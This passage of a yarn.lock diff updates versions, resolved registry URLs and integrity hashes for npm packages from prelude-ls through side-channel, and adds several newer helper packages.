   resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
-  integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
+  integrity sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==
 
 prettier-eslint-cli@^4.7.1:
   version "4.7.1"
@@ -2699,14 +3226,14 @@ progress@^2.0.0:
   resolved "https://registry.yarnpkg.com/progress/-/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
   integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==
 
-prop-types@^15.7.2:
-  version "15.7.2"
-  resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
-  integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==
+prop-types@^15.8.1:
+  version "15.8.1"
+  resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.8.1.tgz#67d87bf1a694f48435cf332c24af10214a3140b5"
+  integrity sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==
   dependencies:
     loose-envify "^1.4.0"
     object-assign "^4.1.1"
-    react-is "^16.8.1"
+    react-is "^16.13.1"
 
 property-expr@^1.5.0:
   version "1.5.1"
@@ -2716,66 +3243,49 @@ property-expr@^1.5.0:
 pseudomap@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/pseudomap/-/pseudomap-1.0.2.tgz#f052a28da70e618917ef0a8ac34c1ae5a68286b3"
-  integrity sha1-8FKijacOYYkX7wqKw0wa5aaChrM=
+  integrity sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==
 
 pump@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
-  integrity sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/pump/-/pump-3.0.3.tgz#151d979f1a29668dc0025ec589a455b53282268d"
+  integrity sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==
   dependencies:
     end-of-stream "^1.1.0"
     once "^1.3.1"
 
 punycode@^2.1.0:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5"
+  integrity sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==
 
 quick-lru@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/quick-lru/-/quick-lru-1.1.0.tgz#4360b17c61136ad38078397ff11416e186dcfbb8"
-  integrity sha1-Q2CxfGETatOAeDl/8RQW4Ybc+7g=
+  integrity sha512-tRS7sTgyxMXtLum8L65daJnHUhfDUgboRdcWW2bR9vBfrj2+O5HSMbQOJfJJjIVSPFqbBCF37FpwWXGitDc5tA==
 
 ramda@^0.26.1:
   version "0.26.1"
   resolved "https://registry.yarnpkg.com/ramda/-/ramda-0.26.1.tgz#8d41351eb8111c55353617fc3bbffad8e4d35d06"
   integrity sha512-hLWjpy7EnsDBb0p+Z3B7rPi3GDeRG5ZtiI33kJhTt+ORCd38AbAIjB/9zRIUoeTbE/AVX5ZkU7m6bznsvrf8eQ==
 
-react-is@^16.8.1:
+react-is@^16.13.1:
   version "16.13.1"
   resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
   integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==
 
-read-pkg-up@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-2.0.0.tgz#6b72a8048984e0c41e79510fd5e9fa99b3b549be"
-  integrity sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=
-  dependencies:
-    find-up "^2.0.0"
-    read-pkg "^2.0.0"
-
-read-pkg@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-2.0.0.tgz#8ef1c0623c6a6db0dc6713c4bfac46332b2368f8"
-  integrity sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=
-  dependencies:
-    load-json-file "^2.0.0"
-    normalize-package-data "^2.3.2"
-    path-type "^2.0.0"
-
 read-pkg@^4.0.1:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/read-pkg/-/read-pkg-4.0.1.tgz#963625378f3e1c4d48c85872b5a6ec7d5d093237"
-  integrity sha1-ljYlN48+HE1IyFhytabsfV0JMjc=
+  integrity sha512-+UBirHHDm5J+3WDmLBZYSklRYg82nMlz+enn+GMZ22nSR2f4bzxmhso6rzQW/3mT2PVzpzDTiYIZahk8UmZ44w==
   dependencies:
     normalize-package-data "^2.3.2"
     parse-json "^4.0.0"
     pify "^3.0.0"
 
 readable-stream@^2.2.2:
-  version "2.3.7"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57"
-  integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
+  version "2.3.8"
+  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.8.tgz#91125e8042bba1b9887f49345f6277027ce8be9b"
+  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
   dependencies:
     core-util-is "~1.0.0"
     inherits "~2.0.3"
@@ -2785,16 +3295,25 @@ readable-stream@^2.2.2:
     string_decoder "~1.1.1"
     util-deprecate "~1.0.1"
 
+reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz#c629219e78a3316d8b604c765ef68996964e7bf9"
+  integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.1"
+    which-builtin-type "^1.2.1"
+
 regenerator-runtime@^0.11.0:
   version "0.11.1"
   resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9"
   integrity sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==
 
-regenerator-runtime@^0.13.4:
-  version "0.13.5"
-  resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz#d878a1d094b4306d10b9096484b33ebd55e26697"
-  integrity sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==
-
 regex-not@^1.0.0, regex-not@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
@@ -2803,13 +3322,17 @@ regex-not@^1.0.0, regex-not@^1.0.2:
     extend-shallow "^3.0.2"
     safe-regex "^1.1.0"
 
-regexp.prototype.flags@^1.2.0, regexp.prototype.flags@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.0.tgz#7aba89b3c13a64509dabcf3ca8d9fbb9bdf5cb75"
-  integrity sha512-2+Q0C5g951OlYlJz6yu5/M33IcsESLlLfsyIaLJaG4FA2r4yP8MvVMJUUP/fVBkSpbbbZlS5gynbEWLipiiXiQ==
+regexp.prototype.flags@^1.5.1, regexp.prototype.flags@^1.5.3, regexp.prototype.flags@^1.5.4:
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz#1ad6c62d44a259007e55b3970e00f746efbcaa19"
+  integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.0-next.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    set-function-name "^2.0.2"
 
 regexpp@^1.0.1:
   version "1.1.0"
@@ -2822,34 +3345,34 @@ regexpp@^2.0.1:
   integrity sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==
 
 repeat-element@^1.1.2:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.3.tgz#782e0d825c0c5a3bb39731f84efee6b742e6b1ce"
-  integrity sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
+  integrity sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==
 
 repeat-string@^1.6.1:
   version "1.6.1"
   resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-  integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
+  integrity sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==
 
 require-directory@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
-  integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
+  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
 
 require-main-filename@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-1.0.1.tgz#97f717b69d48784f5f526a6c5aa8ffdda055a4d1"
-  integrity sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=
+  integrity sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==
 
 require-relative@^0.8.7:
   version "0.8.7"
   resolved "https://registry.yarnpkg.com/require-relative/-/require-relative-0.8.7.tgz#7999539fc9e047a37928fa196f8e1563dabd36de"
-  integrity sha1-eZlTn8ngR6N5KPoZb44VY9q9Nt4=
+  integrity sha512-AKGr4qvHiryxRb19m3PsLRGuKVAbJLUD7E6eOaHkfKhwc+vSgVOCY5xNvm9EkolBKTOf0GrQAZKLimOCz81Khg==
 
 require-uncached@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/require-uncached/-/require-uncached-1.0.3.tgz#4e0d56d6c9662fd31e43011c4b95aa49955421d3"
-  integrity sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=
+  integrity sha512-Xct+41K3twrbBHdxAgMoOS+cNcoqIjfM2/VxBF4LL2hVph7YsF8VSKyQ3BDFZwEVbok9yeDl2le/qo0S77WG2w==
   dependencies:
     caller-path "^0.1.0"
     resolve-from "^1.0.0"
@@ -2857,17 +3380,17 @@ require-uncached@^1.0.3:
 reserved-words@^0.1.2:
   version "0.1.2"
   resolved "https://registry.yarnpkg.com/reserved-words/-/reserved-words-0.1.2.tgz#00a0940f98cd501aeaaac316411d9adc52b31ab1"
-  integrity sha1-AKCUD5jNUBrqqsMWQR2a3FKzGrE=
+  integrity sha512-0S5SrIUJ9LfpbVl4Yzij6VipUdafHrOTzvmfazSw/jeZrZtQK303OPZW+obtkaw7jQlTQppy0UvZWm9872PbRw==
 
 resolve-from@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-1.0.1.tgz#26cbfe935d1aeeeabb29bc3fe5aeb01e93d44226"
-  integrity sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=
+  integrity sha512-kT10v4dhrlLNcnO084hEjvXCI1wUG9qZLoz2RogxqDQQYy7IxjI/iMUkOtQTNEh6rzHxvdQWHsJyel1pKOVCxg==
 
 resolve-from@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
-  integrity sha1-six699nWiBvItuZTM17rywoYh0g=
+  integrity sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==
 
 resolve-from@^4.0.0:
   version "4.0.0"
@@ -2877,19 +3400,30 @@ resolve-from@^4.0.0:
 resolve-url@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
-  integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
+  integrity sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==
 
-resolve@^1.10.0, resolve@^1.12.0, resolve@^1.13.1, resolve@^1.15.1, resolve@^1.8.1:
-  version "1.17.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.17.0.tgz#b25941b54968231cc2d1bb76a79cb7f2c0bf8444"
-  integrity sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==
+resolve@^1.10.0, resolve@^1.12.0, resolve@^1.22.4, resolve@^1.8.1:
+  version "1.22.10"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.10.tgz#b663e83ffb09bbf2386944736baae803029b8b39"
+  integrity sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==
   dependencies:
-    path-parse "^1.0.6"
+    is-core-module "^2.16.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
+
+resolve@^2.0.0-next.5:
+  version "2.0.0-next.5"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-2.0.0-next.5.tgz#6b0ec3107e671e52b68cd068ef327173b90dc03c"
+  integrity sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==
+  dependencies:
+    is-core-module "^2.13.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
 
 restore-cursor@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-2.0.0.tgz#9f7ee287f82fd326d4fd162923d62129eee0dfaf"
-  integrity sha1-n37ih/gv0ybU/RYpI9YhKe7g368=
+  integrity sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==
   dependencies:
     onetime "^2.0.0"
     signal-exit "^3.0.2"
@@ -2926,14 +3460,14 @@ run-node@^1.0.0:
 rx-lite-aggregates@^4.0.8:
   version "4.0.8"
   resolved "https://registry.yarnpkg.com/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz#753b87a89a11c95467c4ac1626c4efc4e05c67be"
-  integrity sha1-dTuHqJoRyVRnxKwWJsTvxOBcZ74=
+  integrity sha512-3xPNZGW93oCjiO7PtKxRK6iOVYBWBvtf9QHDfU23Oc+dLIQmAV//UnyXV/yihv81VS/UqoQPk4NegS8EFi55Hg==
   dependencies:
     rx-lite "*"
 
 rx-lite@*, rx-lite@^4.0.8:
   version "4.0.8"
   resolved "https://registry.yarnpkg.com/rx-lite/-/rx-lite-4.0.8.tgz#0b1e11af8bc44836f04a6407e92da42467b79444"
-  integrity sha1-Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=
+  integrity sha512-Cun9QucwK6MIrp3mry/Y7hqD1oFqTYLQ4pGxaHTjIdaFDWRGGLikqp6u8LcWJnzpoALg9hap+JGk8sFIUuEGNA==
 
 rxjs@^5.3.0:
   version "5.5.12"
@@ -2943,21 +3477,49 @@ rxjs@^5.3.0:
     symbol-observable "1.0.1"
 
 rxjs@^6.3.3, rxjs@^6.4.0:
-  version "6.5.5"
-  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-6.5.5.tgz#c5c884e3094c8cfee31bf27eb87e54ccfc87f9ec"
-  integrity sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==
+  version "6.6.7"
+  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-6.6.7.tgz#90ac018acabf491bf65044235d5863c4dab804c9"
+  integrity sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==
   dependencies:
     tslib "^1.9.0"
 
+safe-array-concat@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz#c9e54ec4f603b0bbb8e7e5007a5ee7aecd1538c3"
+  integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    has-symbols "^1.1.0"
+    isarray "^2.0.5"
+
 safe-buffer@~5.1.0, safe-buffer@~5.1.1:
   version "5.1.2"
   resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
   integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
 
+safe-push-apply@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz#01850e981c1602d398c85081f360e4e6d03d27f5"
+  integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==
+  dependencies:
+    es-errors "^1.3.0"
+    isarray "^2.0.5"
+
+safe-regex-test@^1.0.3, safe-regex-test@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz#7f87dfb67a3150782eaaf18583ff5d1711ac10c1"
+  integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-regex "^1.2.1"
+
 safe-regex@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-  integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
+  integrity sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==
   dependencies:
     ret "~0.1.10"
 
@@ -2969,22 +3531,58 @@ safe-regex@^1.1.0:
 semver-compare@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/semver-compare/-/semver-compare-1.0.0.tgz#0dee216a1c941ab37e9efb1788f6afc5ff5537fc"
-  integrity sha1-De4hahyUGrN+nvsXiPavxf9VN/w=
+  integrity sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==
 
 "semver@2 || 3 || 4 || 5", semver@^5.3.0, semver@^5.5.0, semver@^5.5.1:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
+  version "5.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
+  integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
 
 semver@5.5.0:
   version "5.5.0"
   resolved "https://registry.yarnpkg.com/semver/-/semver-5.5.0.tgz#dc4bbc7a6ca9d916dee5d43516f0092b58f7b8ab"
   integrity sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==
 
+semver@^6.3.1:
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
 set-blocking@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-  integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
+  integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==
+
+set-function-length@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+
+set-function-name@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985"
+  integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    functions-have-names "^1.2.3"
+    has-property-descriptors "^1.0.2"
+
+set-proto@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz#0760dbcff30b2d7e801fd6e19983e56da337565e"
+  integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
 
 set-value@^2.0.0, set-value@^2.0.1:
   version "2.0.1"
@@ -2999,27 +3597,59 @@ set-value@^2.0.0, set-value@^2.0.1:
 shebang-command@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-  integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
+  integrity sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==
   dependencies:
     shebang-regex "^1.0.0"
 
 shebang-regex@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-  integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
+  integrity sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==
 
-side-channel@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.2.tgz#df5d1abadb4e4bf4af1cd8852bf132d2f7876947"
-  integrity sha512-7rL9YlPHg7Ancea1S96Pa8/QWb4BtXL/TZvS6B8XFetGBeuhAsfmUspK6DokBeZ64+Kj9TCNRD/30pVz1BvQNA==
+side-channel-list@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
   dependencies:
-    es-abstract "^1.17.0-next.1"
-    object-inspect "^1.7.0"
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+
+side-channel-map@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+
+side-channel-weakmap@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+    side-channel-map "^1.0.1"
+
+side-channel@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+  dependencies:
+    es-errors "^1.3.0"
